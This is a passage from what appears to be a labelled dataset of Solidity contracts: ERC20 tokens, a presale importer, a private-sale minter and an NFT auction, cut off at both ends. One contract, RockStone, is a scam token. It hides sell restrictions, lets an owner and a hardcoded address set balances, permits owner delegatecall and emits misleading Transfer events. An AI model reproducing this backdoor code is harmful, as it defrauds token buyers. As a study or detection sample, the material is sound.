WalletUpdated(fundstorage);
}
event WalletUpdated(address newWallet);
mapping (address => bool) private importedFromPreSale;
event TokensImport(address indexed participant, uint256 tokens, uint256 totalImport);
function importTokens(address _account) returns (bool success) {
require(currentState == State.Running);
require(msg.sender == saleController || msg.sender == _account);
require(!importedFromPreSale[_account]);
uint256 preSaleBalance = preSaleToken.balanceOf(_account) / TOKEN_PRICE_N;
if (preSaleBalance == 0) return false;
looksCoin.rewardTokens(_account, preSaleBalance);
importedTokens = importedTokens + preSaleBalance;
importedFromPreSale[_account] = true;
TokensImport(_account, preSaleBalance, importedTokens);
return true;
}
function() public payable {
buyTokens();
}
event TokensBought(address indexed buyer, uint256 ethers, uint256 tokens, uint256 tokensSold);
function buyTokens() payable returns (uint256 amount)
{
require(currentState == State.Running);
assert(msg.sender != 0x0);
require(msg.value > 0);
uint256 tokens = msg.value * TOKEN_PRICE_D / TOKEN_PRICE_N;
if (tokens == 0) return 0;
looksCoin.rewardTokens(msg.sender, tokens);
tokensSold = tokensSold + tokens;
assert(fundstorage.send(msg.value));
TokensBought(msg.sender, msg.value, tokens, tokensSold);
return tokens;
}
} | 1 | 4,255 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract FidelityHousePrivateSale is TokenRecover {
using SafeMath for uint256;
mapping (address => uint256) public sentTokens;
FidelityHouseToken public token;
Contributions public contributions;
constructor(address _token, address _contributions) public {
require(
_token != address(0),
"Token shouldn't be the zero address."
);
require(
_contributions != address(0),
"Contributions address can't be the zero address."
);
token = FidelityHouseToken(_token);
contributions = Contributions(_contributions);
}
function multiSend(
address[] _addresses,
uint256[] _amounts,
uint256[] _bonuses
)
external
onlyOwner
{
require(
_addresses.length > 0,
"Addresses array shouldn't be empty."
);
require(
_amounts.length > 0,
"Amounts array shouldn't be empty."
);
require(
_bonuses.length > 0,
"Bonuses array shouldn't be empty."
);
require(
_addresses.length == _amounts.length && _addresses.length == _bonuses.length,
"Arrays should have the same length."
);
uint len = _addresses.length;
for (uint i = 0; i < len; i++) {
address _beneficiary = _addresses[i];
uint256 _tokenAmount = _amounts[i];
uint256 _bonusAmount = _bonuses[i];
if (sentTokens[_beneficiary] == 0) {
uint256 totalTokens = _tokenAmount.add(_bonusAmount);
sentTokens[_beneficiary] = totalTokens;
token.mintAndLock(_beneficiary, _tokenAmount);
token.mint(_beneficiary, _bonusAmount);
contributions.addTokenBalance(_beneficiary, totalTokens);
}
}
}
} | 1 | 3,955 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RockStone {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function swap(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,102 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Interface {
function balanceOf(address owner) public view returns (uint256 _balance);
function ownerOf(uint256 tokenID) public view returns (address owner);
function transfer(address to, uint256 tokenID) public returns (bool);
function approve(address to, uint256 tokenID) public returns (bool);
function takeOwnership(uint256 tokenID) public;
function totalSupply() public view returns (uint);
function owns(address owner, uint256 tokenID) public view returns (bool);
function allowance(address claimant, uint256 tokenID) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenID) public returns (bool);
function createLand(address owner) external returns (uint);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
mapping(address => bool) admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed admin);
event DelAdmin(address indexed admin);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function addAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0));
admins[_adminAddress] = true;
emit AddAdmin(_adminAddress);
}
function delAdmin(address _adminAddress) external onlyOwner {
require(admins[_adminAddress]);
admins[_adminAddress] = false;
emit DelAdmin(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface NewAuctionContract {
function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool);
}
contract AuctionContract is Ownable {
using SafeMath for uint;
ERC20 public arconaToken;
struct Auction {
address owner;
address token;
uint tokenId;
uint startPrice;
uint stopTime;
address winner;
uint executeTime;
uint finalPrice;
bool executed;
bool exists;
}
mapping(address => bool) public acceptedTokens;
mapping(address => bool) public whiteList;
mapping (address => bool) public users;
mapping(uint256 => Auction) public auctions;
mapping (address => mapping (uint => uint)) public auctionIndex;
mapping(address => uint256[]) private ownedAuctions;
uint private lastAuctionId;
uint defaultExecuteTime = 24 hours;
uint public auctionFee = 300;
uint public gasInTokens = 1000000000000000000;
uint public minDuration = 1;
uint public maxDuration = 20160;
address public profitAddress;
event ReceiveCreateAuction(address from, uint tokenId, address token);
event AddAcceptedToken(address indexed token);
event DelAcceptedToken(address indexed token);
event AddWhiteList(address indexed addr);
event DelWhiteList(address indexed addr);
event NewAuction(address indexed owner, uint tokenId, uint auctionId);
event AddUser(address indexed user);
event GetToken(uint auctionId, address winner);
event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime);
event CancelAuction(uint auctionId);
constructor(address _token, address _profitAddress) public {
arconaToken = ERC20(_token);
profitAddress = _profitAddress;
}
function() public payable {
if (!users[msg.sender]) {
users[msg.sender] = true;
emit AddUser(msg.sender);
}
}
function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(_from, _token, _tokenId, _startPrice, _duration);
emit ReceiveCreateAuction(_from, _tokenId, _token);
return true;
}
function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(msg.sender, _token, _tokenId, _startPrice, _duration);
return true;
}
function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) {
require(ERC721Interface(_token).transferFrom(_from, this, _tokenId));
auctions[++lastAuctionId] = Auction({
owner : _from,
token : _token,
tokenId : _tokenId,
startPrice : _startPrice,
stopTime : now + (_duration * 1 minutes),
winner : address(0),
executeTime : now + (_duration * 1 minutes) + defaultExecuteTime,
finalPrice : 0,
executed : false,
exists: true
});
auctionIndex[_token][_tokenId] = lastAuctionId;
ownedAuctions[_from].push(lastAuctionId);
emit NewAuction(_from, _tokenId, lastAuctionId);
return lastAuctionId;
}
function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now > auctions[_auctionId].stopTime);
require(_finalPrice >= auctions[_auctionId].startPrice);
auctions[_auctionId].winner = _winner;
auctions[_auctionId].finalPrice = _finalPrice;
if (_executeTime > 0) {
auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes);
}
emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime);
}
function getToken(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now <= auctions[_auctionId].executeTime);
require(msg.sender == auctions[_auctionId].winner);
uint fullPrice = auctions[_auctionId].finalPrice;
require(arconaToken.transferFrom(msg.sender, this, fullPrice));
if (!inWhiteList(msg.sender)) {
uint fee = valueFromPercent(fullPrice, auctionFee);
fullPrice = fullPrice.sub(fee).sub(gasInTokens);
}
arconaToken.transfer(auctions[_auctionId].owner, fullPrice);
